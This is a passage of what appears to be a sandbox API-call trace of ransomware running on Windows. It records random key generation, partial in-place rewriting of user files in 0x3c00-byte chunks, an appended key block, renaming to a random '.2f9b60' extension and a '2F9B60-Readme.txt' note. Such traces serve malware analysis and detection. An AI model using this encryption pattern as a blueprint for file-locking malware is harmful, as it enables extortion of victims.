RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x11b00665 [0102.883] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x40484d73 [0102.883] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0xa225621 [0102.883] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x260dc75b [0102.883] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x24a14fd9 [0102.883] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x61ae04a3 [0102.883] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0xa3730 [0102.883] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x7ab3b124 [0102.883] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x2c3fc042 [0102.883] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x4f51466f [0102.883] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x765cf60a [0102.883] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x67b2da1e [0102.883] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x10c7391c [0102.883] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x60845623 [0102.883] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x4afb4840 [0102.883] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0xceddcbc [0102.883] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x5b50e88c [0102.883] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x63da5843 [0102.883] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x63b3883f [0102.883] RtlRandomEx (in: Seed=0x2eb8f650 | out: Seed=0x2eb8f650) returned 0x1d999221 [0102.893] SetFilePointerEx (in: hFile=0x1654, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.893] ReadFile (in: hFile=0x1654, lpBuffer=0x2046ff70, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2eb8f6c0, lpOverlapped=0x0 | out: lpBuffer=0x2046ff70*, lpNumberOfBytesRead=0x2eb8f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0102.893] SetFilePointerEx (in: hFile=0x1654, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0102.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e8f0 [0102.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261070 [0102.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261070) returned 1 [0102.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20473b80 [0102.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261070 [0102.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260980 [0102.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260980) returned 1 [0102.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e8f0) returned 1 [0102.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0102.894] WriteFile (in: hFile=0x1654, lpBuffer=0x20473b80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2eb8f6c0, lpOverlapped=0x0 | out: lpBuffer=0x20473b80*, lpNumberOfBytesWritten=0x2eb8f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20473b80) returned 1 [0103.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2046ff70) returned 1 [0103.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202638f0 [0103.353] SetFilePointerEx (in: hFile=0x1654, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.354] WriteFile (in: hFile=0x1654, lpBuffer=0x1693c0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2eb8f770, lpOverlapped=0x0 | out: lpBuffer=0x1693c0*, lpNumberOfBytesWritten=0x2eb8f770*=0x108, lpOverlapped=0x0) returned 1 [0103.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0103.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503690 [0103.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced79b0 [0103.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced79b0) returned 1 [0103.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0103.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced79b0 [0103.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7770 [0103.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7770) returned 1 [0103.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503690) returned 1 [0103.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0103.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f6b0 [0103.788] sprintf (in: _Dest=0x1cd9f6b0, _Format="%c%c" | out: _Dest="a5") returned 2 [0103.788] sprintf (in: _Dest=0x1cd9f6b2, _Format="%c%c" | out: _Dest="54") returned 2 [0103.789] sprintf (in: _Dest=0x1cd9f6b4, _Format="%c%c" | out: _Dest="5a") returned 2 [0103.789] sprintf (in: _Dest=0x1cd9f6b6, _Format="%c%c" | out: _Dest="30") returned 2 [0103.789] sprintf (in: _Dest=0x1cd9f6b8, _Format="%c%c" | out: _Dest="46") returned 2 [0103.789] sprintf (in: _Dest=0x1cd9f6ba, _Format="%c%c" | out: _Dest="6e") returned 2 [0103.789] sprintf (in: _Dest=0x1cd9f6bc, _Format="%c%c" | out: _Dest="76") returned 2 [0103.789] sprintf (in: _Dest=0x1cd9f6be, _Format="%c%c" | out: _Dest="a9") returned 2 [0103.789] sprintf (in: _Dest=0x1cd9f6c0, _Format="%c%c" | out: _Dest="23") returned 2 [0103.789] sprintf (in: _Dest=0x1cd9f6c2, _Format="%c%c" | out: _Dest="51") returned 2 [0103.789] sprintf (in: _Dest=0x1cd9f6c4, _Format="%c%c" | out: _Dest="5c") returned 2 [0103.789] sprintf (in: _Dest=0x1cd9f6c6, _Format="%c%c" | out: _Dest="f5") returned 2 [0103.789] sprintf (in: _Dest=0x1cd9f6c8, _Format="%c%c" | out: _Dest="f1") returned 2 [0103.789] sprintf (in: _Dest=0x1cd9f6ca, _Format="%c%c" | out: _Dest="ad") returned 2 [0103.789] sprintf (in: _Dest=0x1cd9f6cc, _Format="%c%c" | out: _Dest="d4") returned 2 [0103.789] sprintf (in: _Dest=0x1cd9f6ce, _Format="%c%c" | out: _Dest="43") returned 2 [0103.789] sprintf (in: _Dest=0x1cd9f6d0, _Format="%c%c" | out: _Dest="16") returned 2 [0103.789] sprintf (in: _Dest=0x1cd9f6d2, _Format="%c%c" | out: _Dest="b6") returned 2 [0103.789] sprintf (in: _Dest=0x1cd9f6d4, _Format="%c%c" | out: _Dest="73") returned 2 [0103.789] sprintf (in: _Dest=0x1cd9f6d6, _Format="%c%c" | out: _Dest="88") returned 2 [0103.789] sprintf (in: _Dest=0x1cd9f6d8, _Format="%c%c" | out: _Dest="af") returned 2 [0103.789] sprintf (in: _Dest=0x1cd9f6da, _Format="%c%c" | out: _Dest="12") returned 2 [0103.789] RtlInitAnsiString (in: DestinationString=0x2eb8f7e8, SourceString="a5545a30466e76a923515cf5f1add44316b67388af12" | out: DestinationString="a5545a30466e76a923515cf5f1add44316b67388af12") [0103.789] RtlAnsiStringToUnicodeString (in: DestinationString=0x2eb8f7b8, SourceString="a5545a30466e76a923515cf5f1add44316b67388af12", AllocateDestinationString=1 | out: DestinationString="a5545a30466e76a923515cf5f1add44316b67388af12") returned 0x0 [0103.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86e9c0 [0103.790] wcscat (in: _Dest=0x20509f00, _Source="a5545a30466" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\a5545a30466") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\a5545a30466" [0103.790] wcscat (in: _Dest=0x20509f00, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\a5545a30466.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\a5545a30466.2f9b60" [0103.790] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\a5545a30466.2f9b60", NtPathName=0x2eb8f790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\a5545a30466.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x202ad970 [0104.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad970) returned 1 [0104.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecdf50) returned 1 [0104.515] NtQueryInformationFile (in: FileHandle=0x1654, IoStatusBlock=0x2eb8f7f8, FileInformation=0x2eb8f808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2eb8f7f8, FileInformation=0x2eb8f808) returned 0x0 [0104.515] NtSetInformationFile (FileHandle=0x1654, IoStatusBlock=0x2eb8f7f8, FileInformation=0x2eb8f808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509f00) returned 1 [0104.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e9c0) returned 1 [0104.517] FlushFileBuffers (hFile=0x1654) returned 1 [0104.804] CloseHandle (hObject=0x1654) returned 1 [0104.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a4890 [0104.998] wcscpy (in: _Dest=0x202a4890, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0104.998] wcscat (in: _Dest=0x202a4890, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0104.998] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0104.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4890) returned 1 [0104.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 Thread: id = 930 os_tid = 0x1530 [0101.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79e470 [0101.203] wcscpy (in: _Dest=0x1b79e470, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities" [0101.203] wcscat (in: _Dest=0x1b79e470, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\" [0101.203] wcscat (in: _Dest=0x1b79e470, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\*" [0101.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62c90 [0101.204] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858b50 [0101.204] wcscmp (_String1=".", _String2=".") returned 0 [0101.204] FindNextFileW (in: hFindFile=0x1b858b50, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.204] wcscmp (_String1="..", _String2=".") returned 1 [0101.204] wcscmp (_String1="..", _String2="..") returned 0 [0101.205] FindNextFileW (in: hFindFile=0x1b858b50, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 1 [0101.205] wcscmp (_String1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", _String2=".") returned 1 [0101.205] wcscmp (_String1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", _String2="..") returned 1 [0101.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x119170 [0101.205] wcscpy (in: _Dest=0x119170, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities" [0101.205] wcscat (in: _Dest=0x119170, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\" [0101.205] wcscat (in: _Dest=0x119170, _Source="{31810C36-5D23-4CCE-A3B4-316DED195C38}" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" [0129.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x119170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1520 [0129.901] FindNextFileW (in: hFindFile=0x1b858b50, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 0 [0129.901] FindClose (in: hFindFile=0x1b858b50 | out: hFindFile=0x1b858b50) returned 1 [0129.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd62c90) returned 1 [0129.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e470) returned 1 [0129.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea90) returned 1 Thread: id = 931 os_tid = 0x1534 [0101.206] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jkggiI5il.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jkggii5il.flv")) returned 0x2020 [0101.206] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jkggiI5il.flv", dwFileAttributes=0x20) returned 1 [0102.868] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jkggiI5il.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jkggii5il.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdd4 [0102.869] GetFileSizeEx (in: hFile=0xdd4, lpFileSize=0x2f15fd00 | out: lpFileSize=0x2f15fd00*=86594) returned 1 [0102.869] SetFilePointerEx (in: hFile=0xdd4, liDistanceToMove=0x1523e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.869] ReadFile (in: hFile=0xdd4, lpBuffer=0x2f15fc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f15fcc8, lpOverlapped=0x0 | out: lpBuffer=0x2f15fc80*, lpNumberOfBytesRead=0x2f15fcc8*=0x4, lpOverlapped=0x0) returned 1 [0102.870] SetFilePointerEx (in: hFile=0xdd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e90 [0102.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202610d0 [0102.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261070 [0102.870] NtQuerySystemTime (in: CurrentTime=0x2f15fbc0 | out: CurrentTime=0x2f15fbc0*=132462177083806000) returned 0x0 [0102.870] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x7b5c589d [0102.870] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x55727a28 [0102.870] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x55975065 [0102.870] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x66dbc92c [0102.870] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x17467a8a [0102.870] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x8727a2b [0102.870] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x65bdfbc1 [0102.870] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x2f5406fa [0102.870] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x40e3ed9a [0102.870] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x6da0be62 [0102.870] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x129f6ed6 [0102.870] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x53964443 [0102.870] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x144fa5df [0102.870] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x7f481e63 [0102.871] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x5eaac723 [0102.871] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0xd1dc253 [0102.871] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x15d43c3 [0102.871] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x5d7711da [0102.871] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x5381c4a8 [0102.871] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x419f8ca7 [0102.871] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x4f969b4b [0102.871] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x67f368bc [0102.871] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x6815d641 [0102.871] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x6df36330 [0102.871] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x39d4efee [0102.871] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0xd1774f2 [0102.871] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x44e30654 [0102.871] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x773b9d3 [0102.871] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x1bb795ef [0102.871] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x65932301 [0102.871] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x28098dd2 [0102.871] RtlRandomEx (in: Seed=0x2f15fbb0 | out: Seed=0x2f15fbb0) returned 0x5307fb58 [0102.879] SetFilePointerEx (in: hFile=0xdd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.879] ReadFile (in: hFile=0xdd4, lpBuffer=0x20468750, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2f15fc20, lpOverlapped=0x0 | out: lpBuffer=0x20468750*, lpNumberOfBytesRead=0x2f15fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0102.879] SetFilePointerEx (in: hFile=0xdd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0102.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e8f0 [0102.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e90 [0102.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260e90) returned 1 [0102.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2046c360 [0102.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e90 [0102.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261070 [0102.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261070) returned 1 [0102.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e8f0) returned 1 [0102.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0102.880] WriteFile (in: hFile=0xdd4, lpBuffer=0x2046c360*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2f15fc20, lpOverlapped=0x0 | out: lpBuffer=0x2046c360*, lpNumberOfBytesWritten=0x2f15fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0103.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2046c360) returned 1 [0103.455] SetFilePointerEx (in: hFile=0xdd4, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.455] ReadFile (in: hFile=0xdd4, lpBuffer=0x20468750, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2f15fc20, lpOverlapped=0x0 | out: lpBuffer=0x20468750*, lpNumberOfBytesRead=0x2f15fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0103.456] SetFilePointerEx (in: hFile=0xdd4, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0103.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866bc0 [0103.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202607a0 [0103.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202607a0) returned 1 [0103.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2046c360 [0103.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202607a0 [0103.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261610 [0103.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261610) returned 1 [0103.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866bc0) returned 1 [0103.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0103.457] WriteFile (in: hFile=0xdd4, lpBuffer=0x2046c360*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2f15fc20, lpOverlapped=0x0 | out: lpBuffer=0x2046c360*, lpNumberOfBytesWritten=0x2f15fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0103.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2046c360) returned 1 [0103.457] SetFilePointerEx (in: hFile=0xdd4, liDistanceToMove=0x11642, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.457] ReadFile (in: hFile=0xdd4, lpBuffer=0x20468750, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2f15fc20, lpOverlapped=0x0 | out: lpBuffer=0x20468750*, lpNumberOfBytesRead=0x2f15fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0103.458] SetFilePointerEx (in: hFile=0xdd4, liDistanceToMove=0x11642, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 